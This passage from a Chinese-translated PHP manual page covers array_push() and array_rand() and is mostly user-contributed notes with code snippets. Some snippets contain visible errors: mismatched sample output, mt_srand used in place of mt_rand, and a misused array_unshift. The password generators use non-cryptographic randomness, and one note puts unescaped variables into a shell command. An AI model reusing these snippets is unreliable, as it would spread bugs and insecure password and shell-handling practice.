    [1] => banana
    [2] => apple
    [3] => raspberry
)

注: 如果用 array_push() 来给数组增加一个单元，还不如用 $array[] = ，因为这样没有调用函数的额外负担。

注: 如果第一个参数不是数组，array_push() 将发出一条警告。这和 $var[] 的行为不同，后者会新建一个数组。

参见 array_pop()，array_shift() 和 array_unshift()。

add a note add a note User Contributed Notes
Marc Bernet
16-May-2006 12:18
A small and basic implementation of a stack without using an array.

class node
{
       var $elem;
       var    $next;
}
class stack
{
   var $next;
   function pop()
   {
       $aux=$this->next->elem;
       $this->next=$this->next->next;
       return $aux;
   }
   function push($obj)
   {
       $nod=new node;
       $nod->elem=$obj;
       $nod->next=$this->next;
       $this->next=$nod;
   }
   function stack()
   {
       $this->next=NULL;
   }
}
krristaps at inbox dot lv
16-Mar-2006 07:52
Here is the smallest chunk of php code describing data structure called stack:

<?php
class stack{
       var $memory=array();
       function push($value){
               $this->memory[]=$value;
       }
       function pop(){
               $count=$this->count();
               if ($count){
                       $value=$this->memory[$count-1];
                       unset($this->memory[$count-1]);
                       return $value;
               }
               else return false;
       }
       function count(){
               return count($this->memory);
       }
};
?>
richard dot udo at gmail dot com
09-Feb-2006 07:05
Just a typo i think but the code below will actually produce

Array
(
   [0] => a
   [1] => b
   [2] => c
   [3] => Array
       (
           [0] => d
           [1] => e
           [2] => f
       )
)
egingell at sisna dot com
28-Jan-2006 10:06
If you push an array onto the stack, PHP will add the whole array to the next element instead of adding the keys and values to the array. If this is not what you want, you're better off using array_merge() or traverse the array you're pushing on and add each element with $stack[$key] = $value.

<?php

$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);

?>
The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => a
     [1] => b
     [2] => c
  )
)
steve at webthoughts d\ot ca
13-Nov-2005 08:02
Further Modification on the array_push_associative function
1.  removes seemingly useless array_unshift function that generates php warning
2.  adds support for non-array arguments

<?
// Append associative array elements
function array_push_associative(&$arr) {
   $args = func_get_args();
   foreach ($args as $arg) {
       if (is_array($arg)) {
           foreach ($arg as $key => $value) {
               $arr[$key] = $value;
               $ret++;
           }
       }else{
           $arr[$arg] = "";
       }
   }
   return $ret;
}

$items = array("here" => "now");
$moreitems = array("this" => "that");

$theArray = array("where" => "do we go", "here" => "we are today");
echo array_push_associative($theArray, $items, $moreitems, "five") . ' is the size of $theArray.<br />';

echo "<pre>";
print_r($theArray);
echo "</pre>";

?>

Yields:

4 is the size of $theArray.
Array
(
   [where] => do we go
   [here] => now
   [this] => that
   [five] =>
)
ludvig dot ericson at gmail dot com
31-Oct-2005 09:32
Previous comment was not fully imitating the array_push behaviour,
1) does not return number of items pushed
2) can only handle one array to push

> Revised associative_push function with absolute reference of arg1 array; left unchanged if arg2 is empty.

<?php
// Append associative array elements
function array_push_associative(&$arr) {
   $args = func_get_args();
   array_unshift($args); // remove &$arr argument
   foreach ($args as $arg) {
       if (is_array($arg)) {
           foreach ($arg as $key => $value) {
               $arr[$key] = $value;
               $ret++;
           }
       }
   }

   return $ret;
}

$theArray = array();
echo array_push_associative($theArray, $items, $moreitems) . ' items added to $theArray.';
?>
john
20-Oct-2005 04:33
A variation of kamprettos' associative array push:

// append associative array elements
function associative_push($arr, $tmp) {
  if (is_array($tmp)) {
   foreach ($tmp as $key => $value) {
     $arr[$key] = $value;
   }
   return $arr;
  }
  return false;
}

$theArray = array();
$theArray = associative_push($theArray, $items);
kamprettos at yahoo dot com Teguh Iskanto
19-Sep-2005 08:33
Looking for a way to push data into an associative array and frustrated to know that array_push() can't do the job ?

here's my Scenario :
-------------------
I need to relate system command output into an associative array like these :

[sge@digital_db work]$ /usr/local/apache/htdocs/work/qhost.sh -h t1 -F | awk '{if(NR>4) print $1}' | sed  's/hl://g'
arch=lx24-amd64
num_proc=2.000000
mem_total=3.808G
swap_total=3.907G
virtual_total=7.715G
load_avg=0.000000
load_short=0.000000
load_medium=0.000000
load_long=0.000000
mem_free=3.510G
swap_free=3.907G
virtual_free=7.417G
mem_used=305.242M
swap_used=0.000
virtual_used=305.242M
cpu=0.000000
np_load_avg=0.000000
np_load_short=0.000000
np_load_medium=0.000000
np_load_long=0.000000

how I did it :
<? php

# get into the system command output
$assoc_cmd =`$work_dir/qhost.sh -h $host_resource -F | awk '{if(NR>4) print $1}'| sed  's/hl://g' ` ;

# split the "\n" character
$assoc_row = explode("\n", chop($assoc_cmd));

# get the index row
$idx_row  = count($assoc_row) - 1 ;

# initialize the associative array
$host_res_array = array();

for ($i = 0 ; $i<= $idx_row ; $i++)
       {
               # get params & values
               list($host_param,$host_val) = explode("=",$assoc_row[$i]);

               # populate / push data to assoc array
               $host_res_array[$host_param]= $host_val ;
       }

echo "<pre> Architecture : </pre>\n" ;
echo $host_res_array['arch'] ;
echo "<pre> Mem Total    : </pre>\n" ;
echo $host_res_array['mem_tot'];

?>

Hope this helps ! :)
bk at quicknet dot nl
04-Sep-2005 04:51
Add elements to an array before or after a specific index or key:

<?php

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_before($src,$in,$pos){
   if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos), $in, array_slice($src,$pos));
   else{
       foreach($src as $k=>$v){
           if($k==$pos)$R=array_merge($R,$in);
           $R[$k]=$v;
       }
   }return $R;
}

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_after($src,$in,$pos){
   if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos+1), $in, array_slice($src,$pos+1));
   else{
       foreach($src as $k=>$v){
           $R[$k]=$v;
           if($k==$pos)$R=array_merge($R,$in);
       }
   }return $R;
}

// Examples:

$src=array("A","B","C");
$in=array("X","Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "X"
  [2]=>
  string(1) "Y"
  [3]=>
  string(1) "B"
  [4]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "B"
  [2]=>
  string(1) "X"
  [3]=>
  string(1) "Y"
  [4]=>
  string(1) "C"
}*/

$src=array('a'=>"A",'b'=>"B",'c'=>"C");
$in=array('x'=>"X",'y'=>"Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, key array, before index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_before($src,$in,'b'));
/* array_push_before, key array, before key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, key array, after index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,'b'));
/* array_push_after, key array, after key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

?>
ciprian dot amariei at gmail com
31-Aug-2005 05:47
regarding the speed of oneill's solution to insert a value into a non-associative array,  I've done some tests and I found that it behaves well if you have a small array and more insertions, but for a huge array and a little insersions I sugest  using this function:

function array_insert( &$array, $index, $value ) {
   $cnt = count($array);

   for( $i = $cnt-1; $i >= $index; --$i ) {
       $array[ $i + 1 ] = $array[ $i ];
   }
   $array[$index] = $value;
}

or if you are a speed adicted programmer (same situation: big array, few insertions) use this:

array_splice ( $array, $offset, 0, $item );

item may also be an array of values ;).
Phil Davies
18-Jul-2005 06:51
As someone pointed out the array_push() function returns the count of the array not the key of the new element. As it was the latter function i required i wrote this very simple replacement.

function array_push2(&$array,$object,$key=null){
   $keys = array_keys($array);
   rsort($keys);
   $newkey = ($key==null)?$keys[0]+1:$key;
   $array[$newkey] = $object;
   return $newkey;
}
oneill at c dot dk
04-Jun-2005 04:50
To insert a value into a non-associative array, I find this simple function does the trick:

function insert_in_array_pos($array, $pos, $value)
{
  $result = array_merge(array_slice($array, 0 , $pos), array($value), array_slice($array,  $pos));
  return $result;
}

Seems an awful lot simpler than the iterative solutions given above...
aaron dot hawley at uvm dot edu
28-May-2005 02:36
Skylifter notes on 20-Jan-2004 that the [] empty bracket notation does not return the array count as array_push does.  There's another difference between array_push and the recommended empty bracket notation.

Empy bracket doesn't check if a variable is an array first as array_push does.  If array_push finds that a variable isn't an array it prints a Warning message if E_ALL error reporting is on.

So array_push is safer than [], until further this is changed by the PHP developers.
josh at digitalfruition dot com
15-Feb-2005 02:17
Note that array_push() will, as described, return the COUNT of the array after adding a new item, not necessarily the INDEX of that new item:

<?php
$array = array(3 => 'three', 5 => 'five');

echo "\$array = ";
print_r($array);
echo "\n\n";

$to_push = array(1,2,4,);
foreach($to_push as $var)
{
   echo "calling array_push(\$array,$var); retval is ";
   echo array_push($array,$var);
   echo "\n";
}

echo "\$array = ";
print_r($array);
?>

The output of above is:

$array = Array
(
   [3] => three
   [5] => five
)

calling array_push($array,1); retval is 4
calling array_push($array,2); retval is 5
calling array_push($array,4); retval is 6
$array = Array
(
   [3] => three
   [5] => five
   [7] => seven
   [8] => 1
   [9] => 2
   [10] => 4
)

Notice how when array_push($array,1) was called, the new element has a key of 8 but array_push() returns 4.
andrew at cgipro dot com
03-Feb-2005 07:18
Need a real one-liner for adding an element onto a new array name?

$emp_list_bic = $emp_list + array(c=>"ANY CLIENT");

CONTEXT...
drewdeal: this turns out to be better and easier than array_push()
patelbhadresh: great!... so u discover new idea...
drewdeal: because you can't do:  $emp_list_bic = array_push($emp_list, c=>"ANY CLIENT");
drewdeal: array_push returns a count and affects current array.. and does not support set keys!
drewdeal: yeah. My one-liner makes a new array as a derivative of the prior array
aron
24-Feb-2004 06:48
The problem with array_push is that it is pass by value.  If you are dealing with objects whose inner state may change at any time, you need a push and pop who return the actual objects, rather than copies of them.
After some difficulty and board assistance, I have these methods.  I've tested them, and they seem to work fine.

<?php
function push(&$array, &$object){
   $array[] =& $object;
}
function & pop(&$array){
   return array_pop($array);
}

// [Test Code]
class TestObject{
   var $value = 0;
   function getValue(){
       return $this->value;
   }
   function setValue($mixed){
       $this->value = $mixed;
   }
}
$myarr = array();
$tmp =& new TestObject();
$tmp2 =& new TestObject();
$tmp->setValue(2);
$tmp2->setValue(3);

push($myarr, $tmp);
push($myarr, $tmp2);
$tmp->setValue(4);
$tmp2->setValue(6);
$val = pop($myarr);
print "popped value: ".$val->getValue()."<br />";

print "values in internal array: <br />";
foreach ($myarr as $key=>$value){
   print "key: $key, object: $value, value: ";
   print  $value->getValue()."<br />";
}
// [/TestCode]
?>
skiflyer
21-Jan-2004 08:05
However, don't forget that array_push() does more than [], it also performs a count and returns the value.

Modifying your code ever so slightly (see below), this puts array_push in the lead (not suprisingly).  So my conclusion would be that if I care about the number of elements in the array, then I'd use array_push(), if I don't (which is usually the case), then I'd use the [] method.

Results...
[] method: 0.34943199
push method: 0.31505919
difference: -0.03437280

Modified section of code...
$s_test_begin = FullMicroTime();
for($i = 0; $i <= 50000; $i++) { $num_tot = array_push($test2, $i); }
$s_test_end = FullMicroTime();

$f_test_begin = FullMicroTime();
for($i = 0; $i <= 50000; $i++) { $test[] = $i; $num_tot = count($test); }
$f_test_end = FullMicroTime();
ryan at sinn dot org
12-Nov-2003 11:18
You can merge key and value combinations into "variable variable" arrays using {} around the variable name.

Here's an example:

<?php
   $arrayName = time();
   ${$arrayName}["mykey"] = "myvalue";

   print $arrayName.":<br>"
   print_r($$arrayName);
   print "<br><br>";
?>
daevid at daevid dot com
14-Mar-2003 10:52
Just to fix and clean up the above example... it should be:

<?php
function addArray(&$array, $key, $val)
{
   $tempArray = array($key => $val);
   $array = array_merge ($array, $tempArray);
}
?>

and use this to view them:

<?php
foreach ($myArray as $key=>$val)
{
   echo "key = ".$key." val = ".$val;
}
?>
daevid at daevid dot com
17-Feb-2003 12:38
Sadly, array_push() does not create an array if the array doesn't exist.  So if you're pushing the first element onto an array, you need to check and create it manually...

<?php
if ( !is_array($myArray) ) $myArray= array();
array_push($myArray, $myElement);
?>
be at my dot net dot sg
16-Feb-2003 04:35
Here's a function to add any key variable into array. this function cannot be use if the key and var set are both numbers.

<?php
function addArray(&$array, $id, $var)
{
   $tempArray = array($var => $id);
   $array = array_merge ($array, $tempArray);
}

$myArray= array ();

addArray($myArray, 1, 'something');
?>

Displaying:

<?php
foreach (array_keys($myArray) as $fields)
{
print $myArray[$fields];
print $fields;
}
?>

Result:
1
something
anton at titov dot net
22-Jan-2003 11:23
For the note above: you can use array_splice function to insert a new value (or array) in the middle of array, this will work like your code does:

<?php
$list = array(
     "0" => "zero",
     "1" => "one",
     "2" => "two",
     "3" => "three",
     "4" => "four",
     "5" => "five",
     "6" => "six"
);
$value = "New Number Three";
$key = "3";
$new = array_splice($list, $key, 0, $value);
?>
jhall at jadeinternet dot net
17-Dec-2002 11:34
[Editors Note:
See http://www.php.net/array_splice for a function that does the same thing.]

I needed a function to add data to a particular place in an array without loosing any other data in the array. Here it is:

<?php
function insert_into_array($array,$ky,$val)
{
 $n = $ky;
 foreach($array as $key => $value)
   {
     $backup_array[$key] = $array[$key];
   }
 $upper_limit = count($array);
 while($n <= $upper_limit)
   {
     if($n == $ky)
       {
     $array[$n] = $val;
     echo $n;
       }
     else
       {
     $i = $n - "1";
     $array[$n] = $backup_array[$i];
       }
     $n++;
   }
 return $array;
}
?>

So that:

<?php
$list = array( "0" => "zero",
           "1" => "one",
           "2" => "two",
           "3" => "three",
           "4" => "four",
           "5" => "five",
           "6" => "six");
$value = "New Number Three";
$key = "3";
$new = insert_into_array($list,$key, $value);
?>

Will Return:

$list =
Array
(
   [0] => zero
   [1] => one
   [2] => two
   [3] => three
   [4] => four
   [5] => five
   [6] => six
)

$new=
Array
(
   [0] => zero
   [1] => one
   [2] => two
   [3] => New Number Three
   [4] => three
   [5] => four
   [6] => five
   [7] => six
)
rickf at transpect dot net
06-Nov-2002 09:45
Another associative array sorter. Will handle null arrays, and should correctly handle multidimensionals. Essentially, it pulls all the keys into an array, randomizes that array, then spits out a reconstructed array based on the randomized keys.

I would have used array_keys() instead of the first foreach(), but unfortunately the array returned gets spit back in hash order, not array order. My particular needs required me to have reproducable randomizations based on specific mt_srand() values. For most people who just need a random array output with no reproduction, you can substitute the line beneath.

<?php
function assocArrayShuffle($inarray) {
       if(!$inarray) return $inarray;
       $keys = array(); $rkeys = array();
       foreach($inarray as $k => $v) $keys[] = $k;
       // OR... $keys = array_keys();
       while(count($keys)>0) {
               list($k) = array_splice($keys, mt_rand(0, count($keys)-1), 1);
               $rkeys[] = $k;
       }
       foreach($rkeys as $k => $v) $outarray[$v] = $inarray[$v];
       return $outarray;
}
?>
daniel at nomail dot com
14-Apr-2002 10:17
If you want to use integer keys simply treat it as an 'ordinary' array.

<?php
$user_arr = array();

$user_id = 4;
$user_name = 'John';
$user_arr[$user_id] = $user_name;

$user_id = 346;
$user_name = 'Steve';
$user_arr[$user_id] = $user_name;

$user_id = 652;
$user_name = 'Maria';
$user_arr[$user_id] = $user_name;
?>

All slots in between the three user IDs will not be allocated and sizeof($user_arr) will return 3 and not 653.
Static
04-Feb-2002 04:19
I noticed that when building a large array, array_push($array, $value) didn't seem to be quite as fast as $array[] = $value. Using the latter would therefore be a useul optimisation if you can guarantee unique keys (e.g. reading from a DB table with an id field).

Static.
bart at framers dot nl
27-Sep-2001 07:16
Array_push also works fine with multidimensional arrays. Just make sure the element is defined as an array first.

<?php
$array["element"][$element]["element"] = array();
array_push ($array["element"][$element]["element"], "banana");
?>
misc dot anders at feder dot dk
04-Feb-2001 01:43
The $array[] = $var statement differs from array_push($array, $var) in that it can operate on uninitialized variables as well. array_push only works with initialized arrays.
add a note add a note

后退 | 起点 | 前进
array_product | 上一级 | array_rand


array_rand

(PHP 4, PHP 5)

array_rand -- 从数组中随机取出一个或多个单元

说明

mixed array_rand ( array input [, int num_req] )

array_rand() 在你想从数组中取出一个或多个随机的单元时相当有用。它接受 input 作为输入数组和一个可选的参数 num_req，指明了你想取出多少个单元 － 如果没有指定，默认为 1。

如果你只取出一个，array_rand() 返回一个随机单元的键名，否则就返回一个包含随机键名的数组。这样你就可以随机从数组中取出键名和值。

注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。

例子 1. array_rand() 例子

<?php
srand((float) microtime() * 10000000);
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
$rand_keys = array_rand($input, 2);
print $input[$rand_keys[0]] . "\n";
print $input[$rand_keys[1]] . "\n";
?>

参见 shuffle()。

add a note add a note User Contributed Notes
trukin at gmail dot com
17-Mar-2006 05:23
Modify of last note:
<?php
if (!function_exists('array_rand')) {
   function array_rand($array, $lim=1) {
       mt_srand((double) microtime() * 1000000);
       for($a=0; $a<=$lim; $a++){
           $num[] = mt_srand(0, count($array)-1);
       }
       return @$num;
   }
}
?>

mt_rand generates a better random number, and with the limit.
emailfire at gmail dot com
13-Mar-2006 05:32
<?php
if (!function_exists('array_rand')) {
function array_rand($array) {
srand((double) microtime() * 1000000);
return rand(0, count($array)-1);
}
}
?>
Will-ster
02-Jan-2006 08:18
This is something I have been playing with for quite awhile. I'm very new to php, but i finally got it to work. it's a function that will take and array[$arrquo] and find a particular keyword[$find] in the different elements of the array then take those elements that posess that keyword and display them at random

<?php
function popbyword($arrquo,$find)
{
$newarr = array('');
 foreach($arrquo as $line)
 {
  if( strstr( $line, $find ) )
  {
   array_push($newarr, $line);

  }
 }
srand((double)microtime()*1000000);
$rquote = array_rand($newarr);
echo $newarr[$rquote];
}

popbyword($images, 'Albert');
?>

In my case I had this huge array of quotes with 90 some elements. I was able to find certain keywords in those elements then ONLY display the elements that had those keywords. NEAT! Maybe only because I'm new.
farooqym at ieee dot org
01-Jan-2006 06:05
Here's an algorithm to make a weighted selection of an item from an array.
Say we have an array $items with keys as items and values as corresponding weights.
For example:
<?php
$items = array(
   item1 => 3,
   item2 => 4,
   item3 => 5,
);
?>
i.e. we want to choose item1 25% of the time, item2 33.3% of the time and item3 41.6% of the time.
Here's a function that works when the weights are positive integers:
<?php
function array_rand_weighted($values) {
   $r = mt_rand(1, array_sum($values));
   foreach ($values as $item => $weight) {
       if  ($r <= $weight) return $item;
       $r -= $weight;
   }
}
?>
Enjoy!
bjcffnet at gmail dot com
30-Aug-2005 07:29
As wazaawazaa600 at msn dot com pointed out, a multi-dimensional array doesn't work with this function. So, I hope I can help someone with this :)

<?php
/**
 * Returns a number of random elements from an array.
 *
 * It returns the number (specified in $limit) of elements from
 * $array. The elements are returned in a random order, exactly
 * as it was passed to the function. (So, it's safe for multi-
 * dimensional arrays, aswell as array's where you need to keep
 * the keys)
 *
 * @author Brendan Caffrey  <bjcffnet at gmail dot com>
 * @param  array  $array  The array to return the elements from
 * @param  int    $limit  The number of elements to return from
 *                            the array
 * @return array  The randomized array
 */
function array_rand_keys($array, $limit = 1) {
   $count = @count($array)-1;

   // Sanity checks
   if ($limit == 0 || !is_array($array) || $limit > $count) return array();
   if ($count == 1) return $array;

   // Loop through and get the random numbers
   for ($x = 0; $x < $limit; $x++) {
       $rand = rand(0, $count);

       // Can't have double randoms, right?
       while (isset($rands[$rand])) $rand = rand(0, $count);

       $rands[$rand] = $rand;
   }

   $return = array();
   $curr = current($rands);

   // I think it's better to return the elements in a random
   // order, which is why I'm not just using a foreach loop to
   // loop through the random numbers
   while (count($return) != $limit) {
       $cur = 0;

       foreach ($array as $key => $val) {
           if ($cur == $curr) {
               $return[$key] = $val;

               // Next...
               $curr = next($rands);
               continue 2;
           } else {
               $cur++;
           }
       }
   }

   return $return;
}
?>
alexkropivko at(dog) yandex dot ru
16-Jun-2005 09:21
There was a mistake at "Paul Hodel (paul at ue dot com dot br) 17-Apr-2003 04:40":
String
echo $new_input = $input[$v];

have to be:
echo $new_input[] = $input[$v];
maxnamara at yahoo dot com
13-Mar-2005 07:22
<?php
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");

function my_array_rand($input,$i=2){
srand((float) microtime() * 10000000);

$rand_keys = array_rand($input, $i);

/*
print $input[$rand_keys[0]] . "\n";
print $input[$rand_keys[1]] . "\n";
*/

$res = array();

if($i > 1){

for($a=0;$a<$i;$a++){

   $res[] = $input[$rand_keys[$a]];

}

}
else{

   $res[] = $input[$rand_keys];

}

return $res;
}

$a = my_array_rand($input,3);
echo "<pre>";
print_r($a);
echo "</pre>";
?>
yhoko at yhoko dot com
28-Aug-2004 09:16
According to office at at universalmetropolis dot com I have to say that the example is wrong.

<?php
// retrieve one of the options at random from the array
$teamcolours = $teamcolours[rand(0,count($teamcolours))];
?>

The count() function will return the number of items in the array, that's the last index + 1. So if there's 2 items in the array, count() will return 2 but the indices are 0 and 1. Now since rand(x,y) randomizes between x and y inclusively the index from the above example may be out of bounds. Thus you have to subtract 1 from the count:

<?php
   // Get random item
   $teamcolours = $teamcolours[rand(0,count($teamcolours)-1)];
?>
leighm at linuxbandwagon dot com leigh morresi
09-Mar-2004 11:36
Another array based password generator, this one is a port from the python mailman version.

this generates slightly predictable but human readable passwords that people can remember
output passwords are for example "rikanumi"

<?php
// port of mailman version
function MakeRandomPassword($length=6) {
$_vowels = array ('a', 'e', 'i', 'o', 'u');
$_consonants = array ('b', 'c', 'd', 'f', 'g', 'h', 'k', 'm', 'n','p', 'r', 's', 't', 'v', 'w', 'x', 'z');
$_syllables = array ();
foreach ($_vowels as $v) {
   foreach ($_consonants as $c) {
       array_push($_syllables,"$c$v");
       array_push($_syllables,"$v$c");
   }
}

for ( $i=0;$i<=($length/2);$i++)        $newpass=$newpass.$_syllables[array_rand($_syllables) ];

return $newpass;
?>

}
tim dot meader at gsfc dot nasa dot gov
06-Mar-2004 10:31
Just thought I would contribute a password generation function
that uses array_rand. I wrote this because I
could not find anywhere a PHP equivalent of the ability
that the String::Random module in Perl has, which allows
you to specify a schema for how you want the random
string created. In other words: I want 2 Uppercase, 3
lowercase, 2 intergers...etc.  This isn't too comprehensive,
notably it doesn't account for one choosing more itterations
 of a particular type than there are in the array (ie -
choosing more than 10 numbers from output). Additionally,
this doesn't allow for any repeated characters. Hope it can
be of use... comments appreciated.

<?php
   function &doGeneratePasswords()
   {
       //////////////////////////////////////
       // lowercase L left out for clarity //
       //////////////////////////////////////
       $l_achLowercase = array("a","b","c","d","e","f","g","h",
                                 "i","j","k","m","n","o","p","q",
                                 "r","s","t","u","v","w","x",
                                 "y","z");
       $l_iNumLowercase = count($l_achLowercase);

       ////////////////////////////////////////////
       // uppercase I and O left out for clarity //
       ////////////////////////////////////////////
       $l_achUppercase = array("A","B","C","D","E","F","G","H",
                                 "J","K","L","M","N","P","Q",
                                 "R","S","T","U","V","W",
                                 "X","Y","Z");
       $l_iNumUppercase = count($l_achUppercase);

       $l_aiNumbers = array("1","2","3","4","5","6","7","8","9","0");
       $l_iNumNumbers = count($l_aiNumbers);

       $l_achSpecialChars = array("!","#","%","@","*","&");
       $l_iNumSpecialChars = count($l_achSpecialChars);

       ///////////////////////////////////////////////////////////////////
       // Make sure to create enough blank spaces as you want passwords //
       ///////////////////////////////////////////////////////////////////
       $l_astPasswds = array("","","","");

       //////////////////////////////////////////
       // Hopefully these are self explanatory //
       //////////////////////////////////////////
       $l_astPasswdSchemes = array("SLUUSLNN","LSUNLLNU","NNUSLLSN","LNLSUNLU");

       $l_iNumPasswds = count($l_astPasswdSchemes);

       for ($i=0; $i < $l_iNumPasswds; $i++) {
           $l_iSchemeLength = strlen($l_astPasswdSchemes[$i]);

           $l_achRandLowercase = array_values(array_rand($l_achLowercase, $l_iNumLowercase));
           $l_achRandUppercase = array_values(array_rand($l_achUppercase, $l_iNumUppercase));
           $l_aiRandNumbers = array_values(array_rand($l_aiNumbers, $l_iNumNumbers));
           $l_achRandSpecialChars = array_values(array_rand($l_achSpecialChars, $l_iNumSpecialChars));

           for ($j=0; $j < $l_iSchemeLength; $j++) {
               $l_chCurrentOne = $l_astPasswdSchemes[$i]{$j};

               switch ($l_chCurrentOne) {
                   case "L":
                       $l_astPasswds[$i] .= $l_achLowercase[array_shift($l_achRandLowercase)];
                       break;

                   case "U":
                       $l_astPasswds[$i] .= $l_achUppercase[array_shift($l_achRandUppercase)];
                       break;

                   case "N":
                       $l_astPasswds[$i] .= $l_aiNumbers[array_shift($l_aiRandNumbers)];
                       break;

                   case "S":
                       $l_astPasswds[$i] .= $l_achSpecialChars[array_shift($l_achRandSpecialChars)];
                       break;

                   default:
                       break;
               }
           }
       }

       return $l_astPasswds;
   }
?>
jpinedo
02-Nov-2003 05:15
An array of arrays example:

<?php
$banners[0]['imagen']="imagen0.gif";
$banners[0]['url']="www.nosenada.tal";

$banners[1]['imagen']="imagen1.gif";
$banners[1]['url']="www.nose.tal";

$banners[2]['imagen']="imagen2.gif";
$banners[2]['url']="pagina.html";

$banners[3]['imagen']="imagen3.jpg";
$banners[3]['url']="../pagina.php";

$id_banner = array_rand($banners);

echo  "Archivo:--".$banners[$id_banner]['imagen']. "<br />\n";
echo  "URL:-----".$banners[$id_banner]['url']. "<br />\n";
?>
wazaawazaa600 at msn dot com
16-Oct-2003 03:24
The function go well ever that you work with a simple array. An array of arrays (also called a table), not works with the function correctly. Example:

<?php
$a=array(array(0,1),array(1,2),array(2,3),array(3,4),array(4,5));
echo $a[0][0];echo"<br>";
echo $a[1][0];echo"<br>";

$b=array_rand($a,2);
echo $b[0][0];echo"<br>"; //This writes nothing
echo $b[1][0];echo"<br>"; //This writes nothing
?>

If you are in this situation, you will need to make your own solution.
asarnoNOSPAM@interbaun DOT com
24-Jun-2003 02:06
It is correct that using array_rand() with num_req=1 will return an integer and not an array, but why get so complicated with getting just the one value.  The K.I.S.S. method would suggest to do it this way:

<?
srand((double)microtime() * 10000000);
$originalArray = array("red", "blue", "green", "brown",
"cyan", "magenta", "purle", "cheezy");
$pickOne = array_rand($originalArray, 1);
$aRandomSelection = $originalArray[$pickOne ];
echo "$aRandomSelection was the random selection made";
?>

You only need to use the foreach if the num_req >=2. In those cases the array_rand() function will return an array of random elements which are a subset of the original array.  When num_req = 1, the array_rand() function returns an integer that signifies a randomly picked key of the original array.  Hope this clarifies things ... it works for me.
c at aufbix dot org
14-Jun-2003 04:31
If you use array_rand with num_req=1, it will return an integer, and not an array as it would in all other circumstances. You can bypass that like this:

<?php
$randelts=array_rand($feeds,$num);

for ($j=0;$j<count($randelts);$j++) {
  if ($num==1) {$subq[$j]=$feeds[$randelts];}
  else {$subq[$j]=$feeds[$randelts[$i]]}
}
?>
Paul Hodel (paul at ue dot com dot br)
18-Apr-2003 04:40
If you trying to get a randon array just use that... it's easier! And you have no repeats...

<?

srand ((float) microtime() * 10000000);

$input = array ("Neo", "Morpheus", "Trinity", "Cypher", "Tank");

$keys = array_rand ($input, sizeof($input));

while (list($k, $v) = each($keys))
{
   echo $new_input = $input[$v];
}

?>
scandar at home dot se
14-Apr-2003 12:58
Note that the int num_req parameter is the required number of element to randomly select. So if your array has 3 element and num_req=4 then array_rand() will not return anything since it is impossible to select 4 random elements out of an array that only contains 3 elements. Many people think that they will get 3 elements returned but that is of course not the case.
mickoz[at]parodius[dot]com
02-Dec-2002 12:28
For those of you thinking that it does not work for num_req = 1, it is because it return a variable and not an array.  This mainly cause some problem with people using foreach.

The correct way to handle this is explained by that example:

<?php
$some_array = array("blah","bleh","foo","lele");

$nb_value = 1;

srand ((float) microtime() * 10000000);
$rand_keys = array_rand($some_array, $nb_value);

if(!is_array($rand_keys))
{
  $rand_keys = array($rand_keys);
}

print_r($rand_keys); // verify here the array of keys
echo "\n<BR>";
?>

// You can then correctly use the foreach, as it require an array to work
// If you use foreach with one element, it won't work.

<?php
$random_array = array();

foreach($rand_keys as $value)
{
  array_push($random_array, $some_array[$value]);
}

print_r($random_array);
?>
dboy at jumpstation dot org
23-Jul-2002 09:58
If you just want to pull one random element from an array, try something like this:

<?php
mt_srand((double) microtime() * 1000000);
$myarray = array("this", "is", "a",
                 "test", "to", "see",
                 "if", "I", "can",
                 "pull", "one", "element",
                 "from", "an", "array",
                 "randomly");
$random_index = mt_rand(0, (count($myarray)-1));
?>

Then to test the randomness or what have you try a simple:

<?php
$string = ""; // Just to kill the warning
for ($i=0; $i<count($myarray); $i++) {
     $random_index = mt_rand(0, (count($myarray)-1));
     $string .= "$myarray[$random_index] ";
}
$string = rtrim($string);
echo ($string);
?>

I've gotten extremely good output from this method and would recommend it if you're just pulling one element.
josh at 3io dot com
15-Jun-2002 06:20
I modified fake_array_rand to always only return 1 element, and did some benchmarks against calling array_rand with the second parameter as 1.  I ran 100 samples for each function for each number of elements and took the average result.  While the internal array_rand is faster for a small number of elements, it scales very poorly.

1 elements: 2.0619630813599E-05 sec. for array_rand,8.4352493286133E-05 sec. for fake_array_rand
10 elements: 2.1675825119019E-05 sec. for array_rand,8.427619934082E-05 sec. for fake_array_rand
100 elements: 2.9319524765015E-05 sec. for array_rand,8.4599256515503E-05 sec. for fake_array_rand
1000 elements: 0.0001157283782959 sec. for array_rand,8.5572004318237E-05 sec. for fake_array_rand
10000 elements: 0.0016669762134552 sec. for array_rand,8.5201263427734E-05 sec. for fake_array_rand
100000 elements: 0.015599734783173 sec. for array_rand,8.5580348968506E-05 sec. for fake_array_rand
